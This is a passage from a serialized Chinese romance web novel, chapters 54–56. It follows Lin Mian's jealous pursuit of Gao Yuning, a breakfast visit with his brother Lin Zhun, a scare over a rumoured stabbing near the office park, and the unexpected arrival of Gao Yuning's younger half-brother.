“我明白的”林缅当然知道郜屿宁希望他花点心思在正事上,只是他太想给郜屿宁留下点好印象,不然他追夫路漫漫,什么时候才是个头啊。 郜屿宁看着他,起身绕过办公桌,头疼地叹了一口气,“刚刚他们有没有说你什么?” 林缅吸了吸鼻子,接过郜屿宁递过来的纸,“他们安慰我,说这个板子没那么贵,也不是他们几个月才弄好的”说完还有些嗔怪地看了眼郜屿宁。 郜屿宁哼了一声,“恶人全让我一个人当了,恨死我了是不是?” 林缅赶紧摇头,“没有”又低声补充,“都说了我很喜欢你了。” 郜屿宁的眼睛跳了一下,喉结滚了滚,朝后倚在办公桌上,“行了,没什么事儿出去吧。” “你要带白可鑫出差?”林缅却站在原地,掀起眼皮看向他。 “怎么了?”郜屿宁面不改色地看着他。 林缅咽了咽口水,“那我也想去,我也可以自己出差旅费。” “你以为旅行团啊,跑我这儿报名来了?”郜屿宁没好气地怼他。 林缅有些挫败地低下头,想到郜屿宁和白可鑫交流起来对答如流的样子心里就难受,又觉得自惭形秽,可又实在学不进去。 “你应该不会为了摆脱我,随便找个人谈” 郜屿宁不等他说完就有些不耐烦地回答,“你以为我是你,拿这种事情置气,幼不幼稚?” 林缅睁大了眼睛,“我上次真的是意外,我没有为了气你和吕文晗开房,你听我解释” 郜屿宁看了他两秒,没有打断他的意思,林缅清了清嗓子开始解释,“我那天去喝酒吕文晗给我打了个电话,我没接,然后我去散台玩了会,正好碰到程俊逸了,” 林缅小心翼翼地继续问,“程俊逸你还记得吗?”他指了指自己大腿,有些心虚地继续说,“就是打棒球害我摔跤的那个,然后,我喝多了,他就拿我手机打了那个未接电话,所以后来是吕文晗送我去的酒店了反正那天就是有很多巧合” 越说声音越小,观察着郜屿宁的脸色。 “哦,那后来打电话哭着闹着说不要我管的也不是你?”郜屿宁顺着他问,语气有些讥讽。 林缅抿住了嘴唇,一下子又被堵得说不出话来。 “不想跟你翻旧账,滚。”郜屿宁摸了摸口袋,没有摸到烟盒,准备转身去办公桌上找。 “哥,能不能答应我”林缅的声音发颤。 郜屿宁抽出支烟抿在唇间,掀起眼皮懒懒地扫了他一眼。 “那如果我晚上给你打电话,你一定要接,好不好”林缅朝前走了两步,扯了扯郜屿宁的衣角。 “我现在只是随便想想都觉得难受得喘不过气,”林缅的眼睛突然泛红,蒙上的水雾把他的视线模糊,“你那个晚上是不是也很难受…” 他感觉到自己的心脏像是被无数根细针扎着,酸和苦交织在一起,在密密麻麻的针眼儿里来回穿梭交织,细线又把心脏缠得结结实实,连跳动都觉得疼。 只有一点点疼是委屈,剩下的全部都是在心疼郜屿宁。 作者有话说: 第54章 第54章[VIP] 大晚上的, 林缅在床上扭来扭去,盯着手机屏幕,看到时间刚跳到22点整, 就立刻拨通了郜屿宁的电话。 并没有等太久,对面就接通了。 “哥,你到酒店了吗?” “嗯, 在理行李,什么事儿?” 林缅突然激动, “那我给你打视频。” 郜屿宁的声音从有点距离的地方传来, 还带着行李箱滚轮在地毯上滚动的声音, “你有事儿就说事儿。” 林缅有些挫败地趴到床上, 努力找点话题,“我这两天回学校上课了,还要做实验。” “你早该回去了。” 林缅又说,“等你回来,我差不多也能做完了。” “随你。” 林缅侧脸贴到床上, 手机开了免提,“哥” 话还没说完, 对面突然传来敲门的声音, 林缅又立刻警钟响起, 恨不得把耳朵贴进手机听筒里偷听对面的声音。 郜屿宁起身去开了门, 白可鑫来送资料,两个人简单说了两句就离开了, 他坐到沙发上扫了眼资料。 安静了一会, 林缅才试探性地开口, “是谁呀?” 郜屿宁起身把资料放到明天要带的包里,简单回答, “白可鑫,送资料。” 林缅犹豫着开口,“这么晚给你送资料啊” “林缅。”郜屿宁打断了他,语气有一点不悦。 林缅难掩失落地吸了吸鼻子,他自己也不想这样。因为这个学长看上去不像是会动歪心思的人,为人处事也没有一点纰漏,倒是自己在这里恶意揣测别人,显得自己心胸狭窄、心思不正。 林缅继续说,“我忍不住嘛谁叫我那么喜欢你,我就是看到你和别人站在一起都要吃醋” 郜屿宁有些无奈地回答,“等你新鲜劲过去了,你再回头看你现在,就知道自己有多幼稚了。” “怎么总这样说我,为什么一直不相信我很喜欢你,真的能喜欢你一辈子?”林缅的语气很委屈和无辜。 郜屿宁说,“你不总是这样?任何东西你只要想要就很任性,但是得到了又不珍惜,得不到就开始较劲。” “你现在难道不是因为较劲吗?” 原来自己早就被郜屿宁判了死刑,林缅心里像涌出酸水似的难受,自己却百口莫辩,“可是我在改了” “林缅,我不想跟你过家家。” 林缅还要为自己辩驳,郜屿宁叹了一口长气,语气有些疲惫,“早点休息吧。” “好吧哥哥再见,晚安。”林缅嗫嚅。 林缅既不敢追得太紧,叫郜屿宁厌烦,又不敢离得太远,让他人有可乘之机。除了每天简单的问候和报备,刷点存在感,林缅也不敢多加打扰。 而且太久没有来上学,要补的实验太多,万一让郜屿宁又发现他应付了事就不好了。 郜屿宁回江市那天,林缅才回郜屿宁那儿的住处。从下班时间开始就等在客厅里,过两秒就去趴猫眼,看对面那扇门有没有动静。 等了两三个小时也没见到人,才给郜屿宁发了消息。 对面回复:有应酬。 过了一会:回来会很晚,别等我。 一般郜屿宁应酬完喝了酒,都是代驾送他回来的。 他思量了两秒,套了件外套就下了楼。 他坐在单元门不远处的长椅上,天空泼了深蓝色的墨,路灯的昏黄在不远处氤氲。 上一次对季节产生感知的时候,还是冬天的刺骨,江市好像没有春天的概念,还没来得及反应,连晚风都已经开始稍稍带着一些暖意了,吹在身上毛茸茸的,他刚洗完澡,睡衣单薄宽松,随着风轻轻擦过他的皮肤。 有不少遛狗散步的人,他干脆赤着脚踩到椅子上,抱着腿,把脸搁在膝盖上,百无聊赖地对着人来人往发呆,也不知道时间过了多久。 他的余光扫过车道,看见郜屿宁的那辆车,突然有些激动起来,准备低头找拖鞋,却只剩下一只。 “诶!”他的拖鞋被一只大狗咬在嘴里,正准备拖走,它的主人不好意思地朝他笑笑,立马低下头训斥自己的狗子。 他单腿站了起来,也要从狗嘴里抢自己的拖鞋,眼看郜屿宁的车越来越近,他又急又恼,要是让郜屿宁看到他跟狗抢拖鞋像什么样子。 好不容易抢回自己的拖鞋,却已经全是狗的牙印,狗主人正不好意思地道歉,想要赔他一双,林缅的视线却黏在停在不远处车位里的一辆车,直接胡乱的穿上,摆摆手,“不用。” 说着急忙穿上,直接朝车位跑去,还差点被拖鞋绊了一跟头。 还没等他到跟前,车门就打开了,白可鑫从驾驶室里下来。 林缅愣了一下,脚步慢了下来,白可鑫走到副驾驶外,才察觉到不远处的林缅,抬头看了过来。 两人对视了两秒,白可鑫脸上的惊讶还未消散,“学弟,你怎么在这里?” 林缅深呼吸了一口气,朝他走过来,故作轻松地说,“嗯,我…也住在里,和郜总是…邻居。” 白可鑫点了点头,没再多说什么,直接打开了车门,轻声喊郜屿宁。 林缅站到他身后,才发现郜屿宁窝在副驾驶室里,眼睛闭着,他的皮肤很白,酒意的红晕显得更加明显,从脸蛋蔓延到眼皮上。 郜屿宁喝得不省人事,也很少会喝成这样。 林缅努力平复着呼吸,“他怎么…” 白可鑫好不容易把郜屿宁从副驾驶室里搀出来,打断了林缅,“学弟,能帮个忙吗?” 林缅赶紧走上来,要扶住郜屿宁,白可鑫却说,“郜总的行李在后备箱,可以帮忙拿一下吗?” 林缅怔了一下,木楞地点了点头,走到车后,后备箱缓缓升起。 他拿出郜屿宁的行李箱,关上后备箱后,抽出拉杆,小跑着追上那两人。 郜屿宁的酒品很好,即便喝得没了意识最多也只是走路没劲,但也不完全倚在搀扶的人身上。林缅拖着行李箱跟在他们后面,感觉鼻子有些泛酸。 走出电梯,电梯间的感应灯亮起,林缅扫了眼自家的家门,逡巡着开口,“学长,郜总家门密码,如果开不了的话,可以…” 白可鑫回答,“我知道。” 林缅愣了一下,白可鑫一只手搀着郜屿宁,另一只手抬起,摸索着门框上边,拿下来一把备用钥匙。 林缅的委屈和酸意立刻浸了满腔。这把钥匙在这里放了很久了,久到他已经忘记这里有把钥匙了。 他深吸了一口气,努力平复好呼吸。 白可鑫把郜屿宁扶进门,林缅从鞋柜里拿出一双客人用的拖鞋,让给了白可鑫,自己赤着脚踩在冰凉的地板上。 白可鑫也没穿拖鞋,只穿了双袜子。 两人一起把郜屿宁扶到沙发上,林缅眼皮轻轻抬起,“郜总,有没有跟你说,你晚上…” 白可鑫看了眼时间,“宿舍门还没关,我回去来得及。” 林缅视线从昏睡着的郜屿宁身上收回来。 白可鑫看着林缅,直接解释道,“之前那批芯片的质量不达标,临时换了供货商,但价格要比之前高很多,时间又紧,跟他们应酬,所以郜总晚上喝了很多。” 林缅自然知道郜屿宁有多辛苦,不然出了那么多天差回来都没歇脚,就跑去应酬了,为了哄人高兴把自己灌得昏迷不醒。 但其实这种事情,郜屿宁从来不跟他讲,之前他和林准在一起为了工作发愁成那样,也一句不和他说,林缅偏偏还不懂事地胡闹。 他想要替郜屿宁分担,可是郜屿宁既不可能带他去酒局应酬,也不可能像白可鑫一样跟他头头是道地讨论工作上的事… “你没喝酒?”林缅想起刚刚是白可鑫开的车。 白可鑫点了点头,“嗯,郜总帮我挡掉了,说我还在上学,不好喝酒。” 林缅眼睛闪了一下,过了一会说,“学长,我先送你下去吧,宿舍门…” 第二天一早,林缅醒过来简单洗漱了一下,就准备去郜屿宁家,给他送早餐。 门铃响了,他激动了一下,还以为是郜屿宁来找他了,他兴冲冲地冲过去开门。 站在门外的却是林准。 “哥…” 看着林缅脸上的表情快速地从兴奋转到失望,林准啧了一声,“你以为是谁啊?” “没谁。”林缅直接进了厨房,也懒得招呼他。 林准走进屋子,环视了一圈,又看向正在厨房里忙活的林缅,“长这么大,是给别人洗手作羹汤的是吧?” 林缅打开蒸笼看了眼包子,有些不悦,直接说,“我本来就是郜屿宁养大的。” 林准被噎得没话说。 林缅总是被郜屿宁怼得一句反驳的话说不出来,但和别人嘴皮子厉害得很。 林缅清了清嗓子,问道,“哥,你到底来干嘛的?” “我来看看我弟弟还不行了?看看你追人追到哪一步了,看看人家有多不待见你。”林准没好气地说。 林缅试探性地用筷子戳了戳包子,看它蒸得怎么样了,但很明显从来不做家务的少爷连拿个锅盖的姿势都别别扭扭的。 林准看不下去了,从他手里拿过筷子,“我来我来。” 林缅撇着嘴,“你少操心我了,你管管你自己吧,你不替自己张罗,等过两年就是爸爸给你张罗了。” “这么没良心呢?”林准哼笑了一声,“郜屿宁最近在忙什么?” 林缅看向他,“干嘛?” “昨天远远看见他了,他喝得烂醉,一个小朋友开车送他回来的,看着跟你差不多大。” 林缅手上的动作顿了一下。 “你也看见了?” “怎么了?他们只是同事。”林缅故作轻松地说。 林准觉得好笑,“你真一点不介意?” 林缅转身去柜子里拿盘子,毫不在意地说,“我才没你们想象得那么幼稚呢,他工作忙,我不给他添堵。” 林准觉得他是长进了一些,之前还因为在饭桌上和郜屿宁聊了两句工作,就不管不顾地直接呛他,现在倒义正严辞起来了。 “他最近在忙什么?我可以帮你送个人情。”林准等了半天也没等到林缅求他帮忙,只好自己开口。 林缅转过身看向他,瞪大了眼睛,想也没想的拒绝,“你别害我了!” 林准愣了一下。 林缅眉头紧锁,“他如果知道了不会开心的。” “谁跟钱过不去啊?” “你懂什么?跟你们这种掉钱眼子里的人没什么可说的,”林缅拿着盘子狠狠撞了一下挡在路中间的林准,“我要追就会好好追,搞这些算什么。拿人手短,你一声不吭地干这些,再让他知道了不是叫他为难吗!而且以他的能力这本来就只是小事而已,有什么解决不了的。” “而且帮他分担也是我自己来,找你们算怎么回事儿。” 林准张了张嘴还要说什么,林缅直接质问,“你之前到底是不是因为我在他们公司你才给生意他们做的?” “当然不全是因为这个,我又不是做慈善的。”林准回答。 “那就好,”林缅不轻不重地剜了他一眼,认真地继续补充,“而且我相信,如果以后我不想在那里上班了,魏连哥他们要是为了擎尤的生意而想把我留住,郜屿宁也会生气的。” 林缅把小包子一个个夹进盘子里,手腕还被锅边烫了一下。 林准接过盘子,“小心点。”又无奈地叹了口气,拿弟弟一点办法都没有,夹在这两人中间,显得自己俗气。 想来讨弟弟一句开心话,反倒被教育了一顿。 林缅擦了擦手,又拿着盘子,准备开门去郜屿宁家,走了两步。 他有些嗔怒地回头看了眼林准,有点警告的意味,压低了声音,“林准,你等会要是敢说一句郜屿宁不爱听的,我会直接发火的哦。” 林准无语地仰头想要直接喊冤,这小孩儿护老公护得这样紧就算了,怎么还天天冤枉人,好像有谁要害他家郜屿宁一样。 “你干脆给我列个清单得了,告诉我,他爱听什么,我一句句凑他耳朵边念行不行?” 林缅置若罔闻地朝前走,端着一盘的小包子,林准无奈地帮他端着两杯早上刚磨好的豆浆,跟在他身后,他摁响了郜屿宁家的门铃。 作者有话说: 第55章 第55章[VIP] 郜屿宁还没醒多久。昨晚宿醉, 彻底断了片,听到门铃响了,就起身朝门口走去。 但还没等他碰到门把手, 门就打开了。 门外,林缅两只手托着一盘小包子,笑眯眯地看着他, 眨了两下眼睛,身后的林准穿得西装笔挺, 但是一只手端着一杯豆浆, 面无表情地看了他一眼。 郜屿宁愣了一下, 抬手捋了把头发, 侧身让他们进门,“进来吧。” 林缅兴冲冲地进了门,看着地上的拖鞋犹豫了两秒,还是决定让给林准,“你穿吧。” 然后自己脱了室外拖鞋, 赤脚踩在地上,把小笼包端到餐桌上。 郜屿宁扫了眼被他扔在门口的拖鞋, 好几个狗牙印儿, “你自己咬的?” 林缅看了过去, 是昨晚在楼下等郜屿宁时被路过的狗咬的, 他不甚在意地说,“不是我, 被狗咬的, 但是没有多余的拖鞋了。” 郜屿宁看了一眼他的脚。 以前就不喜欢穿鞋, 大冬天也总是赤脚踩在地板上,后来实在不肯改, 只好装了地暖,又在两个人的卧室里都铺了地毯。 他微微蹙眉,顿了两秒,朝里走去,林缅对着他的背影大喊,“来吃早饭呀,我自己蒸的呢。” 说着冲林准抬了抬下巴,叫他去厨房里拿筷子,林准叹了口气,无奈地去抽了两双筷子。 郜屿宁从储物间走出来,手上拎了一双白绒绒的拖鞋,林缅的眼睛直接亮了起来,“我的小狗拖鞋!” 郜屿宁直接丢到他的跟前。 林缅边穿边开心,“原来你没有扔掉它呀…” 林缅和郜屿宁都坐到自己常坐的位置上。 “随便坐。”郜屿宁这才在意到被当成空气一样晾在一边的林准。 林缅亮着星星眼,“你快尝尝,我自己蒸的。”他又强调了一遍。 林准坐到郜屿宁的对面,没好气地说,“还以为你自己包的呢。” 林缅皱着眉剜了他一眼,“哥,你不是说你还有事吗?你快走吧。” 林准张了张嘴,林缅使了个眼色叫他赶紧走。 林准凳子都还没坐热,只好顺着林缅的心意起身。 自己拿起一个小包子送进嘴里。 郜屿宁也拿了一个,咬了一口。 林缅看着露出来的芯子,眉头微微蹙起。 “怎么了?”林准穿上外套,笑着问,“没蒸熟啊?” 林缅摇摇头,“拿错味道了。” 下意识地要看向郜屿宁,要和他交换包子。 郜屿宁的手也顿了一下。这在以前是很常见的事,要么等着郜屿宁挑豆沙包给他吃,要么吃错了就和郜屿宁换。 但是林缅这才后知后觉,作为追求者这样好像不太合适,只好兴致缺缺地把包子放回盘子边,找补了一句,“我等会再吃。” 餐桌上的空气短暂凝滞了一会。 没有察觉气氛异样的林准跟他们招呼了一声朝门口走去。 直到听到大门重新关上的声音,林缅才清了清嗓子,有些生硬地扯开了话题,“昨天要不是白可鑫提醒,我早就忘记门框上还有把钥匙了呢。” 郜屿宁只是简单回复,“嗯,你们碰到了?” “嗯嗯。”林缅等了两秒,没等到他主动解释。 他有些失落地抿了一口豆浆,“其实你可以打电话给我,叫我来接呀,或者你应酬也可以带上我,我也能帮你挡酒…” 郜屿宁看了他一眼,林缅的声音越说越小,最后没了。 郜屿宁收回视线后,林缅又沮丧地说,“可是我说好了要保护你的,连帮你分担都做不到…” “用不着你分担。”郜屿宁语气平淡地说。 “我知道你喝那么多叫代驾不方便,而且是白可鑫主动要求送你的,也是他主动问你钥匙在哪儿,你才告诉他的。” 林缅恨不得把肚子里的苦水倒个干净,“可是我也会心疼你啊,也会吃醋,我不想让你觉得,我的喜欢只是挂在嘴上的那种。” “我说多了你要觉得幼稚,可是你什么机会都不给我,我什么都做不了…” 郜屿宁愣了一下,看着林缅嘴上念叨着,手里攥着筷子,把那只咬了一小口的包子戳得千疮百孔。 “你看,你就算什么都不跟我解释,我都给你找好理由找好借口了,我就是喜欢你喜欢到这种地步。”林缅吸了一口气,“你要是觉得这样也很有幼稚的话,那就当我幼稚好了。” “我不是因为幼稚才喜欢你,我是因为喜欢你才变得很幼稚的,我是一定要一直一直和你在一起的。” 林缅的尾音突然有些抑制不住地发颤,“因为除了这样,我这辈子想不到什么别的盼头了。” “我还以为你知道我在遇到你以前过得是什么样的日子,所以能理解我呢…” 郜屿宁的喉咙有些发紧,眼睛闪了一下,回过神来,“我会一直把你当弟弟,就算你…” “就算什么?就算我喜欢别人?我和别人上床?你现在也都无所谓了是吗?”林缅的眼角噙了一点水光,直直地看向郜屿宁。 “林缅。”郜屿宁感觉喉咙有些发紧。 “你明知道我要的不是哥哥和弟弟的那种。” 郜屿宁刚想说话,林缅有些气馁地躲开视线,起身从他手里拿回筷子和杯子,开始收拾餐桌,语气暗淡,“借一下你这里的洗碗机,我家没有。” 郜屿宁顿了顿,还没来得及点头,林缅就直接端着餐具进厨房了,丢进洗碗机后,说了句“哥我先回去了,你好好休息”就回家了。 郜屿宁看到他蹲在门口很爱惜地把小狗拖鞋放进鞋柜里,心里也没来由地发酸。 第二天上班,郜屿宁上班的时候,林缅已经坐在工位上了,工作期间一切如常,午休的时候也是,林缅照样帮他占座、打饭,狗腿地跟在他的身后。 饭桌上林缅有些犹豫地开口,“哥,我学会了一道菜,晚上我做给你尝尝好不好?” 郜屿宁面对林缅期待的眼神,顿了一下,“今天不行,晚上有事。” “好吧。”林缅有些失落地回答,但又很快笑了一下,“那下次吧,反正总有机会的。” 傍晚到了下班时间,林缅对着郜屿宁的办公室门发呆,想要陪着郜屿宁加班。 突然办公室门从里面打开,郜屿宁从里面走出来,已经穿戴整齐,屋内的灯也关上了,一副准备下班的样子。 林缅正要兴冲冲地走过去,以为郜屿宁回心转意要陪他吃晚餐了。 “郜总。”白可鑫从另一边走到郜屿宁跟前,背着包,看样子也准备走了。 郜屿宁点了点头,两人准备一同朝电梯间走去。 郜屿宁视线飘向不远处顿在原地的林缅,对视的一刹那,林缅有些慌乱地躲开目光,假装忙碌地收拾桌上的资料。 收拾完东西,林缅默不作声地跟在他们两人身后,保持着几米远的距离,在电梯里也离两人远远地站着,这比那晚拖着行李箱跟着两人酸意更甚。 下了楼,两人在大厅门口,白可鑫对郜屿宁说,“郜总,麻烦您在这里等我一下,我去趟车间拿报告。” 郜屿宁点了点头,看着白可鑫走远,转身看了一眼,林缅已经不见,从另一个门顺着人流离开了,郜屿宁看着他的背影很快不见。 正是下班时间,人流量逐渐多了起来,从电梯间里又出来了一波人流,从郜屿宁身边经过。 人声嘈杂,每个人都窃窃私语着什么,郜屿宁依稀听见。 “园区门口有人持械伤人?” “是啊是啊好大一滩血。” “刚刚?” “就在刚刚,群里刚发的,看着年纪还很小的一个男孩子。” 郜屿宁愣住,他又听到什么前台什么物业,脑子嗡了一下,心被猛地攥紧。 他咽了咽口水,直接朝园区门口走去,他的脚步逐渐加快,脑子里把所有假设都过了一遍。 如果林缅出事了… 他深吸了一口气,想都不敢想象。 远远看见大门外看热闹的人群,里三层外三层地围在一起。 他呼吸急促着,直接急迫地拨开人群跑了起来,看着不远处人头攒动,他捂住口鼻,喷出一口发烫的呼吸,紧张得吞咽口水都困难。 他每走近一点,都能感觉眼睛在逐渐发烫,他急不可耐地要把人群拨开。 “哥?” 郜屿宁脑子空白了一秒,凭着本能循着声音转过头。 “你怎么在这里?”林缅傻傻地问。 郜屿宁捏住他的肩膀,触碰到他身体的那一刻,刚刚还在天旋地转的世界终于安稳下来。 还是难以压抑情绪地怒斥道,“你在这凑什么热闹!不回家等什么!” 林缅愣了一下,晃了晃手机,“我在等车啊,”又有些无辜地说,“没有凑热闹,我看到你在这里我才过来的…干嘛突然发火…” 林缅看着郜屿宁,嘟囔着,“怎么出这么多汗…” 抬起手准备帮他擦汗,余光却扫见他身后追过来的人,他手在空中顿住,还是收了起来,扭了扭肩膀,把郜屿宁的手甩了下来。 “学长。” 郜屿宁直起身,胸口起伏了一下,白可鑫也喘着粗气,“郜总,我刚喊您没听见,我就追过来了…” 郜屿宁的视线回到林缅身上,“我送你回去。” 说完转身朝停车场走去。 “哦…”林缅低下头把车取消了,和白可鑫跟在郜屿宁的身后,三个人一路无言。 郜屿宁直接上了车,林缅犹豫了一下,看着白可鑫绕过车屁股朝另一边,他抿着嘴唇,自觉地先上了后座。 郜屿宁抬眼看向车内后视镜,和后座的林缅对视了一眼,眼神晦暗,林缅移开视线,低下头又开始抠手。 郜屿宁沉了沉气,等副驾的白可鑫把安全带系好,目光才从林缅垂下的脑袋上移开,把汽车驶出了停车场。 经过园区门口,又扫见路边的人群,郜屿宁的呼吸不自觉地急促了起来,连握着方向盘的手都有些发抖,他喉结滚了一下。 郜屿宁轻咳了一声,费力平复好声音,“白可鑫,不好意思,今天的饭局改天吧,我送你回学校。” 白可鑫抬起头,很识时务地说,“不用了,直接把我放前面地铁站就可以。” 郜屿宁攥了攥方向盘,没再强求,把车停到了地铁站的路边。 等人下车了,郜屿宁又看向后视镜,林缅的视线还黏在白可鑫的背影上,看着他走进地铁站,直到身影不见,鼻子发酸,有些落寞地蹭了下眼角。 他收回目光时,又和郜屿宁在镜子里对视上。 他吸了吸鼻子,挤出难看的笑脸,又在宽慰自己,“我知道,是工作嘛…”说完又把头偏过去,看向窗外。 郜屿宁重新发动了引擎,把汽车开上主路。 实际上,那天晚上的情况和林缅口中并没有什么区别。 他总说林缅任性妄为,可是真乖起来了又这么叫人心疼。 “最近可以不用来上班。”郜屿宁直接说。 林缅转过头看向他,勉强掩饰住的难过立马就要显露出来,眼泪都要忍不住了,但很快又听到郜屿宁说,“如果想来的话,上下班都坐我的车。” 林缅的表情凝滞了片刻。 郜屿宁继续说,“不想让你因为我受伤。” 林缅的脸彻底明媚起来,开心地点了点头。 他总是这样,只要尝到一点点甜头,之前受到的委屈、苦楚就能全都一笔勾销。 郜屿宁心里百感交集,又心疼又无奈。 等到家楼下时,林缅已经又恢复了之前生龙活虎的样子,缠着他要给他做最近新学的菜。 郜屿宁任由他拽着手臂,在耳边叽叽喳喳的吵闹,还有半颗心还沉浸在刚刚以为自己要失去林缅的感受里,麻木着还未彻底醒来。 和之前等在手术室外、在得知林缅参加徒步失踪…那些时刻无异,一样的痛苦,这种非常不好受的滋味又叫他复习了一遍。 站在电梯里,林缅也不安分,仰头看着显示屏上的数字,迫不及待地要给郜屿宁尝尝自己的手艺。 一开门就兴奋地蹦出去了,郜屿宁的视线一直随着他移动,缓步跟在他身后,这种感觉和失而复得一样。 直到林缅愣住站在原地,他目光才随之抬起。 看向抱着行李包,坐在他家门口的那个人。 郜决冕好像是被林缅的动静吵醒的,有些无措地站了起来,揉了揉眼睛。 看清是林缅后,之前在医院有过一面之缘,他很喜欢这个小哥哥,抬起嘴角,兴奋地摆了摆手,“林缅哥哥。” 又看向他身后的郜屿宁,他总是有些害怕郜屿宁,又蔫了下来,学着爸爸妈妈教他的样子,怯生生地问好,“哥哥好…” 作者有话说: 第56章 第56章[VIP] 郜屿宁站在阳台, 拨通了郜青山的电话,扫了眼屋内坐在沙发上的两人,又背过身去。 彩铃过后, 电话终于接通。 不等对方开口,“郜青山,你什么意思?” 对面传来声音, “哎就是小冕,他最近身体好转了, 又嘴上说想哥哥想哥哥, 我们就…” 郜屿宁越听眉头锁得越深, 他和郜决冕基本上没有什么联系, 更别说感情了,想哪门子的哥哥,不知道郜青山又是在耍什么花招。 他直接打断,“你在哪里?我给你送过来。” “我和小冕妈妈已经回去了,就让小冕在你家住一段时间吧, 你们好歹也是亲兄弟……” “你又缺钱了?还要我替你养儿子?”郜屿宁不客气地直接问。 “不是,屿宁, ”对面声音顿了一下, 苦口婆心地叹了一口气, “毕竟血浓于水啊, 爸真的只是想让你们兄弟俩好好培养培养感情……” 郜屿宁胸口起伏了一下,不想听他扯淡直接挂断了电话。 林缅和郜决冕面面相觑, 比一次见面时多了几分尴尬, 郜决冕开始转着脑袋打量屋内的设施, 眼神新奇直白,但也不叫人觉得厌烦。 看到林缅在偷偷观察自己, 郜决冕又打了个招呼,林缅轻轻点了点头应了下来。 “你身体真的没事吗?”林缅小心翼翼地问。 郜决冕抿着嘴唇,眼睛闪了两下,“嗯,医生说好多了。” 林缅放心下来,“那就好。” 正好阳台的移门从外面打开,两人同时抬头看向有些烦躁的郜屿宁。 “哥哥,我可以在你这里住两天吗,爸爸妈妈说我身体好很多了,我很想你,我…” 郜决冕站起身,一板一眼地说,像是在背课文一样,一看就是他爹在家里教好了来的。 郜屿宁视线在他脸上停顿了两秒,郜决冕下意识地就被郜屿宁的压迫感吓到,声音越来越小,最后不自然地移开了眼睛。 “你爸妈呢?” “他们把我送到就回去了…” “我帮你订机票,你…” “我没坐过飞机,我不敢…哥…” 听到一声哥,他眉头微微蹙起,胸口起伏了一下,呼出一浊气,把手机不轻不重地扔在茶几上。 把郜决冕吓得一哆嗦,有些害怕地躲开了视线。 正好刚点的外卖到了,林缅看着关系有些僵硬的两人,舔了舔嘴唇,“不如先吃饭吧…其他的事情…” 林缅说着直接去门口拿外卖去了,又一只手拽着一个冻在原地的人拉回餐桌边上,“先吃饭嘛…” 林缅把外卖袋放到桌上,打开时有点急,拇指不小心被钉子刮破,轻轻嘶了一声,把拇指藏了起来,掀起眼偷偷瞟郜屿宁时,视线撞了个正着。 郜屿宁冷着脸地起身去药箱里拿了创可贴,扔到他面前的桌上,把外卖袋子从他手里拿了过来。 “郜决冕,”郜屿宁开口,声音很不温柔。 郜决冕激灵了一下,不等他应答,郜屿宁继续说,“你这两天可以先在这里住,等我工作忙好了,直接把你送回去。” 他没办法直接把一个未成年还带着病的小孩儿直接扔出去不管不顾,也不可能真把他当成亲弟弟一样热情周到地照顾。问不出他的来由,就干脆随他去,也只能这样安排。 郜决冕木楞地点了点头,“哦。” 林缅低头把大拇指上的伤口用创可贴包裹住,竖着耳朵听两人的对话。 吃过晚饭,林缅给郜决冕开了电视机,帮他调了一部假面骑士,视线开始往厨房的方向飘,落在正在收拾厨余的郜屿宁的身上。 他沉了沉呼吸,直接起身朝厨房走去。 他走到郜屿宁的身边,“哥,我帮你…” “手上刚划破,别沾水。”郜屿宁蹙眉。 林缅却迟迟不走,一脸心思沉重的样子,犹犹豫豫。 郜屿宁扫了他一眼。 “哥…你要把我的房间,给小冕住吗?” 林缅说完脸就热了起来,他觉得自己很不懂事,感觉像跟小孩儿抢玩具一样幼稚,为自己幼稚的占有欲而羞愧,给郜屿宁徒增烦恼。 郜屿宁沉默了两秒,视线落在他难掩失落却又总强打起精神的脸上,心也被轻轻攥了一下。 林缅吸了吸鼻子,又很快找补,“其实也没事啦,反正我住隔壁也很近…” “你搬过来吧。” 林缅愣了一下,过了一秒脸比花儿还灿烂,“真的嘛!哥哥!” “你真好,哥哥你真好…这个房间对我真的很重要…”林缅直接像树袋熊一样抱住郜屿宁。 郜屿宁拍了他一巴掌,啧了一声,“收拾东西去。” “嗯嗯!小冕住我家,也很近,也方便照顾的!” 说着林缅直接蹦出了厨房,帮郜决冕扛起那个边角都被磨得掉皮的旅行包,“小冕,走吧,我带你去看你房间。”一边朝门口走去。 一副当家主母的做派,张罗着家里的大小事情。 郜决冕走到门口,看着林缅脚上的小狗拖鞋,再看到自己脚上很普通很无聊的黑色大人拖鞋。 林缅随着他的视线下移,愣了两秒,两只白色的小狗稍显局促地并拢了一点,“这个是我的,你要是喜欢的话,我可以叫哥哥再给你买一双。” 说完他又强调了一遍,“但是这是我的。” 郜决冕只是摇摇头,“你连拖鞋都这么干净,肯定很宝贝它,要是我穿肯定没几天就穿脏了,我只是觉得它很可爱而已…算啦不用啦。” 林缅顿了一下。其实从第一面他就知道,郜决冕和他以为的样子不太一样。 他以为郜决冕那种私生子是蛮横跋扈、刁蛮任性的,但现在看来呆呆傻傻、人畜无害,而且也没有一点要跟他抢哥哥的意思。 反倒是怕郜屿宁怕得很,要是林缅不在,恐怕见到郜屿宁要绕道走。 只有吃饭时喊他才会出现,不喊他就安静乖巧地躲在林缅家里,看看电视,玩玩手机,丝毫没有如他父母所愿地“和郜屿宁培养感情”。 晚上林缅洗完澡,走出浴室,看到郜屿宁坐在客厅的桌子上还在办公。 阳台的门未完全关上,晚风穿堂而过,这个季节的风吹在身上很舒服。林缅有些恍惚地抬头,看向窗外的夜色,也似曾相识。 他思量了两秒,也跑进房间,把自己的电脑捧了出来。 “哥,有没有什么我能帮你的?”他积极地问。 郜屿宁顿了一下,低头扫了一眼,还真有林缅能干的活。能不能派上用场再说,看林缅积极的势头,他也不忍心打击,跟他交代了几句,叫他用CAD帮他画图。 林缅信心满满地应下来。在忙活的时候这种久违的感觉越来越明显了,叫他想到当初郜屿宁帮他高考复习的时候。 他没来由地鼻子发酸,抬手蹭了蹭鼻尖。 郜屿宁扫了他一眼,“冷?”说着就要起身去关阳台的门。 林缅拦住他,“不是…” 他低下头隔着衣袖挠了挠手臂。 郜屿宁已经察觉到他隔一会就要挠一下,隔一会就要挠一下。 郜屿宁拽过他的手臂,直接推上袖子。 还是之前骑摩托车摔在地上的伤。 按理说皮外伤一两个月过去了也该好了,但是现在还是结了一层厚厚的痂,旁边都有翘起的痕迹,看着就知道林缅经常熬不住痒地扣它。 而且一看刚刚洗澡的时候就没有注意,已经都泡得软烂,没有痂保护的地方要么在冒组织液,还有覆了一层白白的霜。 林缅转了转自己的手腕,把手抽了回来,并不在意,“过段时间就好了,洗完澡就是会痒。” 